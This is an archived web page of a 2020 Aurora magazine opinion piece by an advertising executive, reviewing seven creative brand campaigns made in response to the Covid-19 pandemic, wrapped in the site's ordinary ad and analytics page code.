Brought To You From Happiness Street

<!DOCTYPE html>       <html lang="en">  <head><script type="text/javascript" src="/_static/js/bundle-playback.js?v=HxkREWBo" charset="utf-8"></script> <script type="text/javascript" src="/_static/js/wombat.js?v=txqj7nKC" charset="utf-8"></script> <script>window.RufflePlayer=window.RufflePlayer||{};window.RufflePlayer.config={"autoplay":"on","unmuteOverlay":"hidden"};</script> <script type="text/javascript" src="/_static/js/ruffle/ruffle.js"></script> <script type="text/javascript"> __wm.init("https://web.archive.org/web"); __wm.wombat("https://aurora.dawn.com/news/1143817/brought-to-you-from-happiness-street","20200929204156","https://web.archive.org/","web","/_static/", "1601412116"); </script> <link rel="stylesheet" type="text/css" href="/_static/css/banner-styles.css?v=S1zqJCYt" /> <link rel="stylesheet" type="text/css" href="/_static/css/iconochive.css?v=3PDvdIFv" />   <meta charset="utf-8"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">  <title>Brought To You From Happiness Street - Aurora</title> <meta name="subject" content="Founded in 1998, AURORA is Pakistan's leading advertising, marketing and media magazine. Published by The Dawn Media Group, AURORA is widely recognised as the voice of the advertising industry."/> <meta name="description" content="Moving away from the now-tiresome Covid-19 normative communication and truly creating something new – again and again."/> <meta property="fb:app_id" content="323694191004296"/> <meta property="og:locale" content="en_US"/> <link rel="canonical" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143817"/> <meta name="twitter:url" content="https://web.archive.org/web/20200929204156im_/https://aurora.dawn.com/news/1143817"/> <meta name="twitter:title" content="Brought To You From Happiness Street"/> <meta name="twitter:description" content="Moving away from the now-tiresome Covid-19 normative communication and truly creating something new – again and again."/> <meta name="twitter:image" content="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c2b350e7.jpg"/> <meta property="og:site_name" content="Aurora Magazine"/> <meta property="og:url" content="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143817"/> <meta property="og:type" content="article"/> <meta property="og:title" content="Brought To You From Happiness Street"/> <meta property="og:description" content="Moving away from the now-tiresome Covid-19 normative communication and truly creating something new – again and again."/> <meta property="og:image" content="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c2b350e7.jpg"/> <meta itemprop="name" content="Brought To You From Happiness Street"/> <meta itemprop="description" content="Moving away from the now-tiresome Covid-19 normative communication and truly creating something new – again and again."/> <meta itemprop="image" content="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c2b350e7.jpg"/> <meta property="article:publisher" content="https://aurora.dawn.com"/> <meta property="article:published_time" content="2020-08-08 16:21:24"/> <meta property="article:modified_time" content="2020-09-02 17:55:15"/> <meta property="article:tag" content="covid ads"/> <meta property="article:tag" content="covid campaigns"/> <meta property="article:tag" content="Ali Rez Regional ECD Impact BBDO Middle East & Pakistan"/> <meta property="article:tag" content="Ali Rez"/> <meta name="keywords" content="covid ads,covid campaigns,Ali Rez Regional ECD Impact BBDO Middle East & Pakistan,Ali Rez"/> <meta name="news_keywords" content="covid ads,covid campaigns,Ali Rez Regional ECD Impact BBDO Middle East & Pakistan,Ali Rez"/> <meta property="article:author" content="https://aurora.dawn.com/authors/3231/ali-rez"/> <meta name="author" content="Ali Rez"/> <script type="application/ld+json"> {"@context":"https:\/\/web.archive.org\/web\/20200929204156\/http:\/\/schema.org","@type":"organization","logo":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/aurora.dawn.com\/_img\/logo.png","name":"Aurora Magazine","url":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/aurora.dawn.com","sameAs":["","https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/twitter.com\/auroramag","",""],"potentialAction":{"@type":"SearchAction","target":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/aurora.dawn.com\/search?cx=partner-pub-8258178831251847:bv07ib-e2ch&ie=UTF-8&q={search_term_string}","query-input":"required name=search_term_string"}} </script> <script type="application/ld+json"> {"@context":"https:\/\/web.archive.org\/web\/20200929204156\/http:\/\/schema.org","@type":"NewsArticle","url":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/i.dawn.com\/primary\/2020\/08\/5f2b6c2b350e7.jpg","publisher":{"@context":"https:\/\/web.archive.org\/web\/20200929204156\/http:\/\/schema.org","@type":"Organization","name":"Aurora Magazine","url":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/i.dawn.com\/primary\/2020\/08\/5f2b6c2b350e7.jpg","sameAs":["","https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/twitter.com\/auroramag","",""],"logo":{"@context":"https:\/\/web.archive.org\/web\/20200929204156\/http:\/\/schema.org","@type":"ImageObject","url":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/aurora.dawn.com\/_img\/logo.png"}},"copyrightYear":"2020","image":[{"@context":"https:\/\/web.archive.org\/web\/20200929204156\/http:\/\/schema.org","@type":"ImageObject","url":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/i.dawn.com\/primary\/2020\/08\/5f2b6c2b350e7.jpg","width":"800","height":"480","caption":""}],"datePublished":"2020-08-08 16:21:24","dateModified":"2020-09-02 17:55:15","mainEntityOfPage":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/i.dawn.com\/primary\/2020\/08\/5f2b6c2b350e7.jpg","headline":"Brought To You From Happiness Street","author":[{"@context":"https:\/\/web.archive.org\/web\/20200929204156\/http:\/\/schema.org","@type":"Person","name":"Ali Rez","url":"https:\/\/web.archive.org\/web\/20200929204156\/https:\/\/aurora.dawn.com\/authors\/3231\/ali-rez"}]} </script> <link rel="stylesheet" href="https://web.archive.org/web/20200929204156cs_/https://aurora.dawn.com/_css/print.20200811155209.css" media="print"> <link rel="stylesheet" href="https://web.archive.org/web/20200929204156cs_/https://aurora.dawn.com/_css/all.20200831160810.css" media="all"> <link rel="stylesheet" href="https://web.archive.org/web/20200929204156cs_/https://aurora.dawn.com/_css/shameaurora.20200811155209.css" media="all"> <link rel="stylesheet" href="https://web.archive.org/web/20200929204156cs_/https://aurora.dawn.com/_css/roboto.20200811155209.css" media="all"> <script src="https://web.archive.org/web/20200929204156js_/https://code.jquery.com/jquery-3.2.1.min.js" defer="true"></script> <script src="https://web.archive.org/web/20200929204156js_/https://aurora.dawn.com/_js/all.20200902171909.js" defer="true"></script> <script src="https://web.archive.org/web/20200929204156js_/https://aurora.dawn.com/_js/admin.20200831160810.js" defer="true"></script> <link rel="preload" as="style" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/_css/print.20200811155209.css"> <link rel="preload" as="style" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/_css/all.20200831160810.css"> <link rel="preload" as="style" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/_css/shameaurora.20200811155209.css"> <link rel="preload" as="style" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/_css/roboto.20200811155209.css"> <link rel="preload" as="script" href="https://web.archive.org/web/20200929204156/https://code.jquery.com/jquery-3.2.1.min.js"> <link rel="preload" as="script" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/_js/all.20200902171909.js"> <link rel="preload" as="script" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/_js/admin.20200831160810.js"> <link rel="dns-prefetch preconnect" href="i.dawn.com"> <link rel="dns-prefetch preconnect" href="code.jquery.com">  <script async="async" src="https://web.archive.org/web/20200929204156js_/https://www.googletagservices.com/tag/js/gpt.js"></script> <script type="text/javascript"> var googletag = googletag || {}; googletag.cmd = googletag.cmd || []; googleAdsSlots = []; googletag.cmd.push(function() { googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-ASA-DESKTOP-TOP', [[728,90],[970,90],[970,250]], 'div-gpt-ad-1510380105517-0').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-LB-728x90-BOTTOM', [728,90], 'div-gpt-ad-1509519280329-0').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-LB-728x90-MIDDLE', [728,90], 'div-gpt-ad-1455520357400-2').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-LB-MOBILE-728x90-BOTTOM', [[320,100],[320,50],[728,90]], 'div-gpt-ad-1539321627240-0').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-MREC-MOBILE-300x250-TOP', [300,250], 'div-gpt-ad-1455520357400-4').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-MREC-MOBILE-300x250-2', [300,250], 'div-gpt-ad-1455520357400-6').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-MREC-300x250-3', [300,250], 'div-gpt-ad-1455520357400-7').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-MREC-DESKTOP-300x250-TOP', [300,250], 'div-gpt-ad-1455520357400-3').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-ASA-MOBILE-TOP', [[320,50],[728,90],[320,100]], 'div-gpt-ad-1518611317921-0').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-STICKY-DESKTOP-1x1', [1,1], 'div-gpt-ad-1535620321579-0').addService(googletag.pubads())); googleAdsSlots.push(googletag.defineSlot('/1029551/DAWN-STICKY-MOBILE-1x1', [1,1], 'div-gpt-ad-1542969151399-0').addService(googletag.pubads())); googletag.pubads().set("document_language", "en"); googletag.pubads().collapseEmptyDivs(); googletag.pubads().setTargeting('site', 'aurora.dawn.com'); googletag.pubads().setTargeting('category', ["Single Story","Magazine"]); googletag.pubads().setTargeting('tags', ["Ali Rez","Ali Rez Regional ECD Impact BBDO Middle East Pakistan","covid campaigns","covid ads"]); googletag.pubads().disableInitialLoad(); googletag.enableServices(); }); function render(divId) { var cookieValue = "; " + document.cookie; var cookieParts = cookieValue.split("; " + divId + "="); if (cookieParts.pop().split(';').shift() != divId) { googletag.cmd.push(function() {googletag.display(divId)}); } else { if (divId) { var adContainer = document.getElementById(divId).closest('.ad'); adContainer.classList.remove('block', 'sm:block'); adContainer.classList.add('hidden'); } else { console.log('Error: Ad not found divid: ' + divId); } } } </script>   <script type="text/javascript"> window.onload = function() { googletag.cmd.push(function() { for (i = 0; i < googleAdsSlots.length; i++) { var slot = googleAdsSlots[i]; var id = slot.getSlotElementId(); var div = document.getElementById(id); if ($(div).is(':visible')) { googletag.pubads().refresh([slot], {changeCorrelator: false}); } } // Refresh slots without page reload googletag.pubads().addEventListener('impressionViewable', function(event) { var slot = event.slot; var id = slot.getSlotElementId(); var div = document.getElementById(id); var refreshTime = $(div).data('ad-refresh'); // 30 is minimum time if (refreshTime >= 30) { setTimeout(function() { googletag.pubads().refresh([slot]); }, refreshTime * 1000); } }); // http://stackoverflow.com/a/30935893 // https://developers.google.com/doubleclick-gpt/reference#googletag.events.SlotRenderEndedEvent // it is required as sometimes rendered ad is empty but rad adds width and height on the div // which doesn't allow the ad to collapse in this case googletag.pubads().addEventListener('slotRenderEnded', function(e) { var $renderedSlot = $('#' + e.slot.getSlotElementId()); if(e.isEmpty) { $renderedSlot.parents('.ad').attr("style", "display: none !important"); } else { // https://github.com/aleemb/dawn.com/issues/836 // multi dimension ads rad init, as we don't know which ad is rendered so // we get the dimensions of rendered ad and then configure it with rad var width = 0; var height = 0; var isMultidimensionalAd = $renderedSlot.parents('.ad').find('.rad--multi').length > 0; var isPriorityAd = $renderedSlot.parents('.ad').hasClass('ad--priority'); if(e.size.length) { width = e.size[0]; height = e.size[1]; } if (isMultidimensionalAd) { if (width && height) { $renderedSlot.css({width: width+'px', height: height+'px'}); $renderedSlot.closest('.js-ad').css({maxWidth: width+'px', maxHeight: height+'px', paddingBottom: 0}); $renderedSlot.rad({allowBiggerSizing:'true'}); } } if (isPriorityAd) { if (width && height) { var onMouseOut = "javascript:this.style.overflow='hidden';" +"__adi=$(this).find('iframe').eq(0);" +"__adi.height(height);"; var onMouseOver = "javascript:this.style.overflow='visible';" +"__adi=$(this).find('iframe').eq(0);" +"__adi.contents().height();" // weird, adding this fixes Firefox expanding issue +"setTimeout(function(){__adi.height(__adi.contents().height() || height);}, 10);"; $renderedSlot.parents('.js-ad').attr('onMouseOver', onMouseOver); $renderedSlot.parents('.js-ad').attr('onMouseOut', onMouseOut); } } if($renderedSlot.parents('.ad').hasClass('ad--closable')) { $renderedSlot.parents('.ad').removeClass('ad--closable').addClass('ad--closing'); } } }); }); // https://developers.google.com/doubleclick-gpt/reference#googletag.apiReady if (typeof googletag.apiReady == 'undefined') { $('.ad').attr('style', 'display: none !important'); } } </script>   <script type="text/javascript"> (function (i,s,o,g,r,a,m) {i['GoogleAnalyticsObject']=r;i[r]=i[r]||function () { (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//web.archive.org/web/20200929204156/https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-40396753-4', 'auto'); ga('set', 'dimension6', 'news/1143817'); ga('set', 'dimension1', 'Magazine'); ga('set', 'dimension2', 'Published in Jul-Aug 2020'); ga('set', 'dimension3', 'Ali Rez-3231'); ga('set', 'dimension5', '2020-08-08 16:21:24'); ga('set', 'dimension7', 'Ali Rez,Ali Rez Regional ECD Impact BBDO Middle East & Pakistan,covid campaigns,covid ads'); ga('set', 'contentGroup1', 'Magazine'); ga('set', 'contentGroup2', 'Ali Rez'); ga('require', 'displayfeatures'); ga('send', 'pageview'); </script>   <script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>  </head> <body class="article template--default modifier--default theme--white"> <div class="aux-content" style="overflow: hidden;">  <div class="ad p-3.25 ad--top-leaderboard hidden sm:block" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:728px;max-height:90px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper rad--multi ad__wrapper"> <div id="div-gpt-ad-1510380105517-0" class="ad__wrapper__slot" style="width:728px;height:90px;"> <script> render('div-gpt-ad-1510380105517-0') </script> </div> </div> </div> </div>   <div class="ad p-3.25 ad--top-leaderboard block sm:hidden" aria-hidden="true"> <div class="js-ad mobileleaderboard-height clearfix" style="max-width:320px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper rad--multi ad__wrapper"> <div id="div-gpt-ad-1518611317921-0" class="ad__wrapper__slot" style="width:320px;position:absolute;"> <script> render('div-gpt-ad-1518611317921-0') </script> </div> </div> </div> </div>   <div class="ad hidden sm:block" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:1px;max-height:1px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1535620321579-0" class="ad__wrapper__slot" style="width:1px;height:1px;"> <script> render('div-gpt-ad-1535620321579-0') </script> </div> </div> </div> </div>   <div class="ad block sm:hidden" aria-hidden="true"> <div class="js-ad clearfix" style="max-width:1px;max-height:1px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1542969151399-0" class="ad__wrapper__slot" style="width:1px;height:1px;"> <script> render('div-gpt-ad-1542969151399-0') </script> </div> </div> </div> </div>  </div> <header class="mb-6.75 stick theme--cream-light"> <div class="container-fluid mast mast--stick"> <div class="flex no-gutters"> <div class="flex__item sm:w-1/3 w-full"> <div class="logo-container mb-3.25 ml-6.75 pl-3.25"> <a href="/web/20200929204156/https://aurora.dawn.com/" class=""> <h1 class="text-hide logo logo--contain"> Aurora Magazine </h1> </a> <h3 class="subtitle text-3 font-normal text-purple-dark">Promoting excellence in advertising</h3> </div> </div> <div class="flex__item sm:w-1/6 w-full"></div> <div class="flex__item sm:w-1/2 w-full"> <div class="search-container absolute right-0 mr-3.25"> <div class="mt-1.5 float-left text-right"> <a target="_blank" href="https://web.archive.org/web/20200929204156/https://www.facebook.com/auroramagazine"><img class="image--saturated" src="/web/20200929204156im_/https://aurora.dawn.com/_img/facebook.png" width="35"/></a> <a target="_blank" href="https://web.archive.org/web/20200929204156/https://twitter.com/AuroraMag"><img class="image--saturated" src="/web/20200929204156im_/https://aurora.dawn.com/_img/twitter.png" width="35"/></a> </div> <div class="search-box hidden sm:inline-block"> <form accept-charset="utf-8" class="form-vertical" method="GET" action="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/search"> <input class="form-control" type="hidden" name="cx" value="partner-pub-8258178831251847:bv07ib-e2ch"> <input class="form-control" type="hidden" name="cof" value="FORID:10"> <input class="form-control" type="hidden" name="ie" value="UTF-8"> <div class="form-group required"><input class="form-control search w-2/3 p-1 sm:w-full m-1.5 text-grey border border-solid border-pink-light" data-remember="false" placeholder="Search" required id="q" type="text" name="q" value=""></div></form></div> </div> </div> </div> </div> <div class="menu"> <ul class="nav nav--primary nav--responsive pl-3.25 text-center "> <li class="nav__item nav__item--the-dawn-of-advertising-1947-2017 "><a class="" href="/web/20200929204156/https://aurora.dawn.com/the-dawn-of-advertising-1947-2017">The Dawn Of Advertising (1947-2017)</a></li> <li class="nav__item nav__item--home "><a class="" href="/web/20200929204156/https://aurora.dawn.com/">Home</a></li> <li class="nav__item nav__item--most-read "><a class="" href="/web/20200929204156/https://aurora.dawn.com/most-read">Most Read</a></li> <li class="nav__item nav__item--people "><a class="" href="/web/20200929204156/https://aurora.dawn.com/people">People</a></li> <li class="nav__item nav__item--blogs "><a class="" href="/web/20200929204156/https://aurora.dawn.com/blogs">Blogs</a></li> </ul> </div> </header> <div class="container-fluid px-0"> <div class="content flex-column"> <main> <div class="flex no-gutters"> <div class="flex__item lg:w-1/12 hidden lg:block"></div> <div class="flex__item lg:w-5/6 w-full"> <article class="story mt-3.25"> <span class="text-3 px-1.5"> Published in Jul-Aug 2020 </span>   <div class="template__header clearfix modifier--open px-1 ">   <h2 dir="auto" data-layout="story" data-id="1143817" class="story__title text-7.5 font-light mt-6.75 "><a href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/news/1143817/brought-to-you-from-happiness-street" class="story__link "><strong>Brought To You From Happiness Street</strong> </a></h2> <span dir="auto" class="story__byline text-4 my-3.25"><a class="story__byline__link" href="https://web.archive.org/web/20200929204156/https://aurora.dawn.com/authors/3231/ali-rez">Ali Rez</a></span>  <div dir="auto" class="story__excerpt text-4 font-light my-3.25">Moving away from the now-tiresome Covid-19 normative communication and truly creating something new – again and again. </div> <div class="slideshow story__cover slideshow--main " data-slick="{"dots":true,"dotsClass":"slideshow__pager ","asNavFor":null,"cssEase":"ease","speed":250,"autoplaySpeed":2000,"slidesToScroll":1,"slidesToShow":1,"fade":false,"autoplay":true,"infinite":true,"responsive": [{"breakpoint": 767,"settings": {"slidesToShow": 1,"slidesToScroll": 1}},{"breakpoint": 575,"settings": {"slidesToShow": 1,"slidesToScroll": 1}}]}"> <div class="slideshow__slide slideshow__slide--first slideshow__slide--horizontal lg:w-full md:w-full w-full" style="">  <figure class="media media--uneven media--fill sm:w-full w-full media--no-margin-bottom " data-focus-x="0%" data-focus-y="0%"> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c2b350e7.jpg" alt=""/></picture></div> <figcaption class="media__caption "> </figcaption> </figure> </div> </div> </div>   <div class="template__main clearfix modifier--open px-1 ">  <div class="slideshow hidden slideshow--fade story__cover slideshow--main " data-slick="{"dots":true,"dotsClass":"slideshow__pager ","asNavFor":null,"cssEase":"ease","speed":250,"autoplaySpeed":2000,"slidesToScroll":1,"slidesToShow":1,"fade":false,"autoplay":true,"infinite":true,"responsive": [{"breakpoint": 767,"settings": {"slidesToShow": 1,"slidesToScroll": 1}},{"breakpoint": 575,"settings": {"slidesToShow": 1,"slidesToScroll": 1}}]}"> <div class="slideshow__slide slideshow__slide--first slideshow__slide--horizontal lg:w-full md:w-full w-full" style="">  <figure class="media media--fill sm:w-full w-full media--no-margin-bottom " data-focus-x="0%" data-focus-y="0%"> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c2b350e7.jpg" alt=""/></picture></div> </figure> </div> </div>  <div dir="auto" class="story__content overflow-hidden pt-6.75 mt-3.25"><p>By this time, four months into what seems like a disaster movie in which Bruce Willis is going to eventually save the world, you have probably heard, read, seen, smoked up, and analysed everything possible about Covid-19. You have probably had it with essays on this pandemic and are one flashy BREAKING NEWS item away from fitting your television set in your spinning blender. The last thing you need right now is yet another article on the novel coronavirus.</p> <p>But here it is. That is what tired Covid-19 communication sounds like, if it says the same thing everybody else is saying. A useful thing this pandemic has done is to truly show how important creativity is for humanity to survive and thrive. Here are seven cases that did it well. And like a good piece of communication, you will actually want to read about them.</p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c016570e.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c016570e.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c016570e.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c016570e.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>Pivot! Pivot!</strong></p> <p>What do you do if you sell sunscreen but nobody is going to the beach anymore? You pivot. You tap into the human condition of making your consumers feel better about being home and you make their home smell as if they were on the beach. So Hawaiian Tropic made scented candles, and sold them on eBay – candles that smelt like sunscreen. David Hasselhoff probably bought a dozen. This is a perfect example of adapting and pivoting better than a sofa could. Don’t just change the advertising – change the product.</p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c106fce4.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c106fce4.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c106fce4.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c106fce4.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>Talk Less, Listen More</strong></p> <p>Ah, humans. Threaten them with the deadliest virus possible and they will still make entertaining memes out of them. And if you are a good marketer, instead of throwing at people product-based memes that suck, you will probably want to build a good social listening team. So when 93-year old Olive Veronisi’s relative posted a picture on social video in which the older lady held up a signboard at home saying “I need more beer!!” and it went viral, Coors Light delivered. They sent 150 cans to her home with the promise of another refill if she needs it. Olive responded by holding up a signboard saying “Got More Beer”, with a heart on it. That is true brand love right there.</p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c2b350e7.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c2b350e7.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c2b350e7.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c2b350e7.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>You Wanna Sell Products? Well, Sell Products</strong></p> <p>There is nothing worse than being disingenuous in your marketing, and trying to cover your sale with an emotional pitch that most people will tune out of anyways. I love the kind of work Burger King does: unashamed about its stand. After all, it is fast food, people. So they keep it real. “The Social Distancing Whopper” is one of my favourite pieces to emerge from this crisis. It is a Whopper with triple the amount of onions. So everybody stays away from you. Late last year at AdAsia, when I met Fernando Machado, the genius heading marketing at Burger King, I was blown away by his approach to the way he urges teams from around the world to have the courage to deliver crazy ideas, as ridiculous as they may seem. And it results in brilliant pieces such as this. </p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c3f90329.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c3f90329.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c3f90329.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c3f90329.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>Celebrate the Home Office</strong></p> <p>How does one get creative when addressing creatives? Early on, when we were just setting up for the new work-from-home era, BBDO launched a simple web page that enabled all their employees to generate an official company email signature logo, but with their home address as part of the logo. It was a brilliant way not only to celebrate WFH, but to encourage all to stay safe. Mine says BBDO Happiness Street.</p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c4f3f2d6.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c4f3f2d6.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c4f3f2d6.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c4f3f2d6.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>Stick to Your Media</strong></p> <p>So you bought a ton of outdoor advertising and now nobody is going to see it because they are locked down? Perfect. For the creatives on Emily Veg Sticks, this was an opportunity to adapt the writing to deliver a different message. They knew that the best outdoor is actually the one that you see online, so they wrote a campaign designed to acknowledge their mistake. At a time when everybody was slashing their OOH, these guys benefitted off of it.</p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c5e706b5.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c5e706b5.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c5e706b5.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c5e706b5.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>Find Unexpected Places</strong></p> <p>People hate advertising messages. Unless they admire them. That hard-won admiration comes from delivering something unexpected, in an unexpected place. The Sunday Morning newspaper in Sri Lanka made something very simple happen by example: every time two people were mentioned in their columns, they added spaces between their names. A powerful way to remind everybody to keep their distance – achieved through a smart, cost-free edit of their design.</p> <figure class="media sm:w-full w-full media--left "> <div class="media__item "><picture><img src="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c731ae31.jpg" srcset="https://web.archive.org/web/20200929204156im_/https://i.dawn.com/medium/2020/08/5f2b6c731ae31.jpg 500w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/large/2020/08/5f2b6c731ae31.jpg 800w, https://web.archive.org/web/20200929204156im_/https://i.dawn.com/primary/2020/08/5f2b6c731ae31.jpg 800w" sizes="(min-width: 992px) 800px, (min-width: 768px) 800px, 500px" alt=""/></picture></div> </figure> <p> </p> <p><strong>Don’t Be an Ad. Be an Action</strong></p> <p>I just finished the judging for D&AD Impact Awards, the world’s toughest award show category which recognises work that creates a measurable and meaningful impact for good in the world. Truly effective work that promises to help goes beyond just awareness: it creates an action. During this pandemic, a number of brands have demonstrated the authenticity of truly going beyond and effecting a measurable outcome for the positive: PepsiCo’s Millions of Meals campaign has fed scores of people, while Ford’s commitment to build ventilators is true brand purpose for good. These are not ads, they are actions. And what consumers are looking out for in the new normal.</p> <p>The world is hoping that we will return to a renewed sense of how to live better and how to respect nature. One extends that hope to the industry of communication as well. Otherwise we might just have to call in Bruce Willis. </p> <p><em>Ali Rez is Regional Executive Creative Director for MENA and Pakistan, Impact BBDO Dubai. He is an 11-time Cannes Lions winner and is currently working from home on Happiness Street. a.rez@impactbbdo.ae</em></p> </div> </div>   <div class="template__footer clearfix modifier--open px-1 hidden"> <div class="p-2 hidden pb-2 mb-2 sm:block">  <div class="ad " aria-hidden="true"> <div class="js-ad clearfix" style="max-width:728px;max-height:90px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper ad__wrapper"> <div id="div-gpt-ad-1509519280329-0" class="ad__wrapper__slot" style="width:728px;height:90px;"> <script> render('div-gpt-ad-1509519280329-0') </script> </div> </div> </div> </div>  </div><div class="p-2 block pb-2 mb-2 sm:hidden">  <div class="ad " aria-hidden="true"> <div class="js-ad clearfix" style="max-width:320px;max-height:100px;text-align:center;margin:0 auto;overflow:hidden;"> <div class="radWrapper rad--multi ad__wrapper"> <div id="div-gpt-ad-1539321627240-0" class="ad__wrapper__slot" style="width:320px;height:100px;"> <script> render('div-gpt-ad-1539321627240-0') </script> </div> </div> </div> </div>  </div>  <div class="related-stories clearfix my-4 py-2 hidden"> <div class="text-5.5 uppercase pb-2 font-bold"><span>Related Stories</span></div> <div class=" mt-2 slideshow--list "> <div class="clear-both"> <div class="slideshow--row__item active float-left" data-id="0" style="width:32.333333333333%;margin-right:1.5%;">  <article class="box story mb-4 pr-0 sm:pr-2 border-b border-b-solid border-b-grey-default sm:border-b-none" data-id="1143810" data-layout="story">  <figure class="media media--focus sm:w-full w-full media--no-margin-bottom "> <div class="media__item media__item--100 "><a title="" 